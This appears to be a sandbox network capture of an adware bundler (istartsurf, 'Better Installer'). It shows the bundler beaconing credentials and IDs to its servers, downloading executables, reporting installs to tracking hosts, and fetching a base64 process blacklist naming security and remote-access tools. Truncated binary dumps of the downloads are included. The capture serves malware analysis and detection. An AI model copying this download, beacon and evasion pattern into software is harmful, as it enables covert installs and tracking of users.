Cookie: ASP.NET_SessionId=to2v1k55oqtcbl552wqljy45


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 98
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:58 GMT
<RESULT>.<ANON>.<ID>33648ded-6a64-4e2a-b602-af2ae10f
a726</ID>.<PW>hwpZuese</PW>.</ANON>.</RESUL
T>.....


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=33648ded-6a64-4e2a-b602-af2ae10fa726&Password=hwpZuese&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092558&SBPIDS=1&KA=1 HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=to2v1k55oqtcbl552wqljy45


HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 1362
Content-Type: text/html; charset=utf-8
Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=33648ded-6a64-4e2a-b602-af2ae10fa726&Password=hwpZuese&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092558&SBPIDS=1&KA=1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:58 GMT
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=33648ded-6a64-4e2a-b602-af2ae10fa726&Password=hwpZuese&O
S=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16ba
e2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&a
mp;PartnerList=&ElapsedTime=1430092558&SBPIDS=1&KA=1">h
ere</a>.</h2>..</body></html>....<!DOCTYPE 
html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.or
g/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://w
ww.w3.org/1999/xhtml" >..<head><title>...Untitled Page.
.</title></head>..<body>..    <form name="form1" 
method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&UserI
D=33648ded-6a64-4e2a-b602-af2ae10fa726&Password=hwpZuese&OS=10
&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9
f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&P
artnerList=&ElapsedTime=1430092558&SBPIDS=1&KA=1" id="form
1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" va
lue="/wEPDwUJNzgzNDMwNTMzZGRruuqL609oYLPDXeJ2kVAqD/K6mQ==" />..<
input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERAT
OR" value="E8033FCD" />..    <div>..    ..    </div>.. 
   </form>..</body>..</html>......
<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1430092559&SBPIDS=0 HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=to2v1k55oqtcbl552wqljy45


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 100546
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:59 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku
<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1430092563&SBPIDS=0 HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=to2v1k55oqtcbl552wqljy45


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 547
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:56:04 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>.HTTP/1.1 
200 OK..Cache-Control: private..Content-Length: 547..Content-Type: tex
t/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.
0.50727..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 2015 23:56:04 GMT..&
lt;RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.&
lt;EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_U
RL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<ST
ATS><COLLECT>1</COLLECT></STATS>..<ADS><
SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>108
</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNm
<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1430092613&SBPIDS=0 HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=to2v1k55oqtcbl552wqljy45


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 547
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:56:54 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>.HTTP/1.1 
200 OK..Cache-Control: private..Content-Length: 547..Content-Type: tex
t/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.
0.50727..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 2015 23:56:54 GMT..&
lt;RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.&
lt;EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_U
RL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<ST
ATS><COLLECT>1</COLLECT></STATS>..<ADS><
SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>108
</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNm
<<< skipped >>>


GET /install.ashx?e=nTtqeiyyDwlxTgq6wZuT615oj16EfKcbX/iFdqiZ5XW2ZMgjutBt7OQRE0cF7lrf/k6YQPAn cmeLw31Ygf6oZlbztiqtoL/TokU9chNtxaHMa5E8LXYXeSSX0RX/cuaxs6kPf8Jv8mIVAh2HYa3eDYsLuvXNJnBJOIAnSEbDsy5 wx ILhhS1qgTPL7jymlmOBGPzlFJYmLARt95W016n0AYcuk8312SbnEs2NDT o3j7LEG73hkIFvDg0RyWjmAl4beC2APifphlefiNpeB2PLagMtARkbUlv8o93jVmL5Zc9Mi17eWei6Rh5eUyZ28M41bRePKQHaPVcyKjsd0 e10esTitJUqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGNth7nHDOhUgg02ozMP1ZS HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wt94bf4ec-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:39 GMT
Content-Type: application/octet-stream
Content-Length: 2432
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]}k.......e........Q...6`...|....
A#.w.......0...(....._.....c<"..D.......h..i<"..D...hnJ.....8/E.
.....9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S......{X.5
..#...t....... t.....4k.c2..a>.....5..zF.i....a.....C$.F5g.........
.....*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f
.I..Fy.Y......5....x!..."..fA..#.n.....M3.._...9i9[....q..x..9-"...bK.
<s0....[Hn5.Z..T.......^B..\.^..P../..s$..VPf{...M3.._.[,...C.L....
[email protected].<p....k..d..3....&...8....!.ea.5..5...J....hE
[email protected].].........{pjG,`].U.=W...zt......K..O......X..TCn.9N-..-n...NUM
...OI...F.......)...cz.....ah..].....?P..........2c...J.{z.sgK...2.H$.
.........j[@....J.{z.F...ja.S..q......'.pZ.Z.......B...... .....B.[_..
......rB..DgS0m.5..#[email protected]............([email protected].]...;....
..Z....$.F.2...U....q{.x...t5..iV.h....8b.....!6.....,-."........E._.f
......j.'y...c....m........_`.i.I!.....{..!..dB....w...p.&......4`.i.O
&e...%..}.hP......Q.g.Eu.k.".H...1..L%....,......2.$2J.1$>...P..&..
..y.Y.....B.0p...Q....Q.h|.........rv.z..u...>...O.N|6Y.lW.4W....G.
...2......e..s.....]._....R.f.z^B..\.^..P../..s$..VPf{...M3.._.[,...C.
L.....$........N...{EB5.pI.y.&......". ....g0[..D6^...?...E..?1h......
..[..c....m...Zl.37\.$.%...wY...B.)dx....6....V...W..G:>.]n.....c..
.R..N4..c..{@...1p.....E..>..T...M[|........S...8......1..1...j....
.......c..7..6..0C.;A...6..{..e....t..7...e^..(.a......>......=
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 0-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 de7a549023f0ea5ae15f58d27aeb67c7.cloudfront.net (CloudFront)
X-Amz-Cf-Id: P11OzGEDRxWnFDxeTsvxu7U0BuiGVYHTVsaBWDzYcohTKQwRPHbEWQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /install.gif?bundle=istartsurf&ptid=smt&uid=535559167_198339_B48A115F HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: log.very911.com


HTTP/1.1 404 Not Found
Server: Tengine/1.2.2
Date: Sun, 26 Apr 2015 23:55:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 668
Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=istartsurf&ptid=smt&ui
d=535559167_198339_B48A115F</td>..</tr>..<tr>..<t
d>Server:</td>..<td>us-pub00.v9.com</td>..</tr
>..<tr>..<td>Date:</td>..<td>2015/04/26 18:
55:26</td>..</tr>..</table>..<hr/>Powered by T
engine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found..Se
rver: Tengine/1.2.2..Date: Sun, 26 Apr 2015 23:55:26 GMT..Content-Type
: text/html; charset=utf-8..Content-Length: 668..Connection: keep-aliv
e..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html&
gt;..<head><title>404 Not Found</title></head>
..<body bgcolor="white">..<h1>404 Not Found</h1>..&l
t;p>The requested URL was not found on this server. Sorry for the i
nconvenience.<br/>..Please report this message and include the f
ollowing information to us.<br/>..Thank you very much!</p>
..<table>..<tr>..<td>URL:</td>..<td>
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Cache-Control: no-cache
Connection: Keep-Alive
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:54 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 22912657
Content-Range: bytes 0-22912656/22912657
Connection: close
Content-Type: application/octet-stream
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...#..O
.....................P......'C............@..........................`
................ ..........................................a..........
......................................................................
...........................text...D........................... .0`.dat
[email protected]...#.......$................
[email protected]@.bss..................................0..idata..................
[email protected]...@[email protected]....
[email protected].............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U..WVS.......U..E....t...F
.........{B..H...H.......M..E..5H{B..D$...$....B..M..E.....SS...E...$.
D$... .B..M..E......M.WW......M.)..M..NT....NP........E.....}...VT....
....FP..E........}..VP........U.......FT.............}..........E..M..
.$..|.B..E..R...D$..E..D$...$....B.....<$....B..E..Q.}.;}...Q....~X
........F4..$....B...W..........$.E......E......D$.........B.RR.FX..$.
D$.....B..5..B.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$..{B.
....B...|.......T$...$..QQ.<$....B.S.M..E..D$...$....B.PP1....D
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=417480-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:54:45 GMT
Content-Type: application/octet-stream
Content-Length: 139160
Last-Modified: Fri, 24 Apr 2015 06:24:51 GMT
Connection: keep-alive
Expires: Wed, 29 Apr 2015 23:54:45 GMT
Cache-Control: max-age=259200
Content-Range: bytes 417480-556639/556640
er %s is blacklisted..../.../../..../..././.../../....................
....E...E...E...E...E...E...E...E...E...E...E...E.x.E...E.t.E.p.E.l.E.
h.E.d.E.`.E.\.E.X.E.T.E.P.E.L.E.H.E.GMT.........UTC.........WET.......
..BST.........WAT.....<...AST.........ADT.........EST.....,...EDT..
.......CST.....h...CDT.....,...MST.........MDT.....h...PST.........PDT
.........YST.........YDT.........HST.....X...HDT.........CAT.....X...A
HST....X...NT..........IDLW........CET.........MET.........MEWT.......
.MEST........CEST........MESZ........FWT.........FST.........EET......
...WAST....\...WADT.... ...CCT..... ...JST.........EAST........EADT...
.l...GST.........NZT.....0...NZST....0...NZDT........IDLE....0...A....
...<...B.......x...C...........D...........E.......,...F.......h...
G...........H...........I...........K.......X...L...........M.........
..N...........O...........P.......L...Q...........R...........S.......
....T.......\...U....... ...V...........W...........X.......l...Y.....
..0...Z...................;...Z...x.......................0...N...d
:d...d:d:d..1[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnop
qrstuvwxyz]...Excessive server response line length received, %zd byte
s. Stripping....response reading failed.select/poll error...server res
ponse timeout.XOAUTH2.EXTERNAL....GSSAPI..DIGEST-MD5..CRAM-MD5....PLAI
N...LOGIN....qF..........qF..........qF..........qF..........qF.......
...qF..... [email protected]
....auth....%s/%s.......%s xxxxxxxxx
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=5728165-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=14320411-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: cdn.mirror.garr.it


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:55 GMT
X-Varnish: 1562192577 1561478658
Age: 19440
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:55
 GMT..X-Varnish: 1562192577 1561478658..Age: 19440..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>....



GET / HTTP/1.1
Host: ipgeoapi.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:07 GMT
Connection: keep-alive
Content-Type: application/json;charset=utf-8
Content-Length: 40
Server: thin 1.4.1 codename Chromeo
Via: 1.1 vegur
{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Sun, 26
 Apr 2015 23:56:07 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.ClearnC HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:34 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.47 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 20
15 23:55:34 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.47 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.wpm HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:34 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
4a..{"stats":"ok","time":"235.81 ms","message":"store 1 action and 0 u
pdate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 
2015 23:55:34 GMT..Content-Type: text/html; charset=utf-8..Transfer-En
coding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-a
pi-version: v4..4a..{"stats":"ok","time":"235.81 ms","message":"store 
1 action and 0 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.ient HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:39 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.48 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 20
15 23:55:39 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.48 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /yta33_full.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 0-249999/7590800
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..s......st..............................!..5...D ..<....@..,.s....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
